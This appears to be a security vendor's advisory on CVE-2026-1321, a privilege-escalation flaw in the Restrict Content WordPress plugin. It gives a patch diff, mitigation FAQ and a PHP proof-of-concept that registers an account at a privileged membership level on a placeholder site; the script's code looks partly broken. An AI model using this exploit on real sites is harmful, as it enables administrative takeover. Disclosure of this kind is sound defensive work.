Atomic Edge analysis of CVE-2026-1321:
The vulnerability exists in the rcp_setup_registration_init() function within restrict-content/core/includes/registration-functions.php. The function accepts any membership level ID via the rcp_level POST parameter without validating the level’s active status or payment requirements. The add_user_role() method then assigns the WordPress role configured on the membership level without performing status checks. This allows unauthenticated attackers to register with any membership level, including inactive levels that grant privileged WordPress roles like Administrator, or paid levels that charge sign-up fees. The attack vector targets the registration endpoint, typically accessed via /wp-admin/admin-ajax.php?action=rcp_setup_registration_init or the plugin’s registration form. Attackers submit a POST request with the rcp_level parameter set to a privileged membership level ID. The vulnerability was partially patched in version 3.2.18, but the complete fix arrived in version 3.2.21. The patch introduces validation that prevents registration to inactive membership levels unless the registration_type is ‘renewal’. It also adds signup fees to the total amount calculation and enforces stricter type checking for the registration_type parameter. Exploitation grants attackers administrative privileges on the WordPress site, enabling complete site compromise.

CVE-2026-1321: Membership Plugin – Restrict Content <= 3.2.20 – Unauthenticated Privilege Escalation via 'rcp_level' (restrict-content)
CVE-2026-1321
restrict-content
3.2.20
3.2.21
Analysis Overview
Differential between vulnerable and patched code
--- a/restrict-content/core/includes/class-restrict-content.php
+++ b/restrict-content/core/includes/class-restrict-content.php
@@ -26,7 +26,7 @@
* @since 3.0
*/
final class Restrict_Content_Pro {
- const VERSION = '3.5.52';
+ const VERSION = '3.5.53';
/**
* Stores the base slug for the extension.
--- a/restrict-content/core/includes/registration-functions.php
+++ b/restrict-content/core/includes/registration-functions.php
@@ -58,14 +58,14 @@
);
}
- // We are already sanitizing, but PHPCS keep complaining about the isset function.
+ // We are already sanitizing, but PHPCS keep complaining about the isset function.
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$discount = isset( $_POST['rcp_discount'] ) ? sanitize_text_field( strtolower( wp_unslash( $_POST['rcp_discount'] ) ) ) : '';
$price = number_format( $membership_level->get_price(), 2, '.', '' );
- $initial_amount = rcp_get_registration()->get_total();
+ $initial_amount = rcp_get_registration()->get_total() + rcp_get_registration()->get_signup_fees();
$auto_renew = rcp_registration_is_recurring();
- // if both today's total and the recurring total are 0, the there is a full discount
- // if this is not a recurring membership only check today's total
+ // If both today's total and the recurring total are 0, the there is a full discount.
+ // If this is not a recurring membership only check today's total.
$full_discount = ( $auto_renew ) ? ( rcp_get_registration()->get_total() == 0 && rcp_get_registration()->get_recurring_total() == 0 ) : ( rcp_get_registration()->get_total() == 0 );
$customer = rcp_get_customer_by_user_id();
$has_trialed = ! empty( $customer ) ? $customer->has_trialed() : false;
@@ -97,12 +97,33 @@
$user_data = rcp_validate_user_data();
if ( ! rcp_is_registration() ) {
- // no membership level was chosen
+ // No membership level was chosen.
rcp_errors()->add( 'no_level', __( 'Please choose a membership level', 'rcp' ), 'register' );
}
+ /**
+ * Filters whether or not to allow processing a registration to an inactive membership level.
+ *
+ * @since 3.5.53
+ *
+ * @param bool $can_process_registration_to_inactive_levels Whether or not to allow processing a registration to an inactive membership level. Default is true if the registration type is renewal, otherwise false.
+ * @param RCPMembership_Level|false $membership_level Membership level object.
+ *
+ * @return bool
+ */
+ $can_process_registration_to_inactive_levels = apply_filters(
+ 'rcp_can_register_to_inactive_membership_levels',
+ 'renewal' === $registration_type,
+ $membership_level,
+ );
+
+ // If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error.
+ if ( ! $can_process_registration_to_inactive_levels && 'active' !== $membership_level->get_status() ) {
+ rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' );
+ }
+
if ( $membership_level->is_free() && ! $membership_level->is_lifetime() && $has_trialed ) {
- // this ensures that users only sign up for a free trial once
+ // This ensures that users only sign up for a free trial once.
rcp_errors()->add( 'free_trial_used', __( 'You may only sign up for a free trial once', 'rcp' ), 'register' );
}
@@ -1214,41 +1235,45 @@
return;
}
- $level_id = (int) abs( sanitize_text_field( wp_unslash( $_POST['rcp_level'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ $level_id = absint( wp_unslash( $_POST['rcp_level'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
// Validate membership level is active.
$membership_level = rcp_get_membership_level( $level_id );
+ $registration_type = ! empty( $_REQUEST['registration_type'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['registration_type'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
/**
* Filters whether or not to allow registration to inactive membership levels.
*
* @since 3.5.52
*
- * @param bool $can_register_inactive_levels Whether or not to allow registration to inactive membership levels.
+ * @param bool $can_register_inactive_levels Whether or not to allow registration to inactive membership levels. Default is true if the registration type is renewal, otherwise false.
* @param RCPMembership_Level|false $membership_level Membership level object.
*
* @return bool
*/
- $can_register_inactive_levels = apply_filters( 'rcp_can_register_to_inactive_membership_levels', true, $membership_level );
+ $can_register_inactive_levels = apply_filters(
+ 'rcp_can_register_to_inactive_membership_levels',
+ 'renewal' === $registration_type,
+ $membership_level,
+ );
- if (
- ! $membership_level instanceof Membership_Level
- || ( ! $can_register_inactive_levels && 'active' !== $membership_level->get_status() )
- ) {
+ if ( ! $membership_level instanceof Membership_Level ) {
rcp_errors()->add( 'invalid_level', __( 'Invalid membership level selected.', 'rcp' ), 'register' );
return;
}
// Validate that paid levels (price > 0 or fee > 0) cannot use the free gateway.
- $gateway = isset( $_POST['rcp_gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_gateway'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ $gateway = isset( $_POST['rcp_gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_gateway'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
$requires_payment = $membership_level->get_price() > 0 || $membership_level->get_fee() > 0;
+
if ( $requires_payment && 'free' === $gateway ) {
rcp_errors()->add( 'invalid_gateway', __( 'A payment method is required for this membership level.', 'rcp' ), 'register' );
return;
}
// Additional validation: Check if this is an upgrade/renewal and user has permission.
- if ( ! empty( $_REQUEST['registration_type'] ) && in_array( $_REQUEST['registration_type'], array( 'renewal', 'upgrade', 'downgrade' ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+ if ( in_array( $registration_type, [ 'renewal', 'upgrade', 'downgrade' ], true ) ) {
// For renewals/upgrades, verify the user owns the membership they're trying to modify.
if ( ! is_user_logged_in() ) {
return;
@@ -1262,6 +1287,12 @@
}
}
+ // If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error.
+ if ( ! $can_register_inactive_levels && 'active' !== $membership_level->get_status() ) {
+ rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' );
+ return;
+ }
+
$discount = ! empty( $_REQUEST['discount'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['discount'] ) ) : null; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$discount = ! empty( $_POST['rcp_discount'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_discount'] ) ) : $discount; // phpcs:ignore WordPress.Security.NonceVerification.Missing
--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
}
if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
- define( 'RC_PLUGIN_VERSION', '3.2.20' );
+ define( 'RC_PLUGIN_VERSION', '3.2.21' );
}
if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
* Plugin Name: Restrict Content
* Plugin URI: https://restrictcontentpro.com
* Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 3.2.20
+ * Version: 3.2.21
* Author: StellarWP
* Author URI: https://stellarwp.com/
* Requires at least: 6.0
@@ -18,7 +18,7 @@
define('RCP_PLUGIN_FILE', __FILE__);
define('RCP_ROOT', plugin_dir_path(__FILE__));
define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '3.2.20');
+define('RCF_VERSION', '3.2.21');
// Load Strauss autoload.
require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1321 - Membership Plugin – Restrict Content <= 3.2.20 - Unauthenticated Privilege Escalation via 'rcp_level'
<?php
/**
* Proof of Concept for CVE-2026-1321
* Targets Restrict Content plugin <= 3.2.20
* Requires a privileged membership level ID (e.g., level with Administrator role)
*/
$target_url = 'http://vulnerable-site.com';
// Step 1: Identify a privileged membership level ID
// This can be discovered via enumeration or by examining the site's registration page
$privileged_level_id = 1; // Change this to the target level ID
// Step 2: Prepare the registration request
$post_data = [
'rcp_level' => $privileged_level_id,
'rcp_user_login' => 'attacker_' . bin2hex(random_bytes(4)),
'rcp_user_email' => 'attacker_' . bin2hex(random_bytes(4)) . '@example.com',
'rcp_user_first' => 'Atomic',
'rcp_user_last' => 'Edge',
'rcp_password' => 'P@ssw0rd123',
'rcp_password_again' => 'P@ssw0rd123',
'rcp_submit' => 'Register',
'rcp_register_nonce' => wp_create_nonce('rcp-register-nonce'), // This may be bypassed
'action' => 'rcp_setup_registration_init'
];
// Step 3: Execute the attack via cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Step 4: Send the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 5: Check for success
if ($http_code == 200 && strpos($response, 'registration_complete') !== false) {
echo "[+] Success! User registered with privileged membership level.n";
echo "[+] Check email for activation link or attempt login.n";
} else {
echo "[-] Attack may have failed. Check level ID and site configuration.n";
echo "Response: " . htmlspecialchars($response) . "n";
}
?>
Frequently Asked Questions
What is CVE-2026-1321?
Understanding the vulnerabilityCVE-2026-1321 is a high-severity vulnerability in the Membership Plugin – Restrict Content for WordPress, allowing unauthenticated privilege escalation. It enables attackers to register for any membership level, including those that grant administrative roles, without proper validation.
How does the vulnerability work?
Mechanics of the exploitThe vulnerability arises from the `rcp_setup_registration_init()` function, which accepts any membership level ID via the `rcp_level` POST parameter without validating its status or payment requirements. This allows attackers to exploit the registration endpoint to gain unauthorized access.
Who is affected by this vulnerability?
Identifying vulnerable installationsAll installations of the Membership Plugin – Restrict Content version 3.2.20 and earlier are affected. Administrators should check their plugin version and update if necessary to mitigate the risk.
How can I check if my site is vulnerable?
Version verification stepsTo check if your site is vulnerable, verify the version of the Restrict Content plugin installed on your WordPress site. If it is version 3.2.20 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe vulnerability is fixed in version 3.2.21 of the Restrict Content plugin. Administrators should update to this version or later to ensure that the vulnerability is patched.
What does the CVSS score of 8.1 indicate?
Understanding risk levelsThe CVSS score of 8.1 indicates a high severity level, meaning that the vulnerability poses a significant risk to the security of affected systems. Exploitation can lead to unauthorized access and control over the WordPress site.
What practical risks does this vulnerability pose?
Consequences of exploitationIf exploited, this vulnerability allows attackers to gain administrative privileges on a WordPress site, leading to potential site compromise, data loss, and unauthorized changes to site content.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an attacker can register with a privileged membership level by sending a specially crafted POST request to the registration endpoint. This shows the ease with which an unauthenticated user can gain elevated privileges.
What steps should I take to mitigate this issue?
Immediate actions for administratorsAdministrators should immediately update the Restrict Content plugin to version 3.2.21 or later. Additionally, review user roles and permissions to ensure no unauthorized accounts have been created.
Is there a way to prevent similar vulnerabilities in the future?
Best practices for securityTo prevent similar vulnerabilities, regularly update all plugins and themes, conduct security audits, and implement security plugins that monitor user registrations and role assignments.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf immediate updates are not possible, consider disabling the plugin or restricting access to the registration endpoint until the plugin can be updated to mitigate the risk of exploitation.
How can I stay informed about future vulnerabilities?
Keeping up with security updatesSubscribe to security mailing lists, follow WordPress security blogs, and monitor the CVE database for updates on vulnerabilities related to WordPress plugins and themes.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






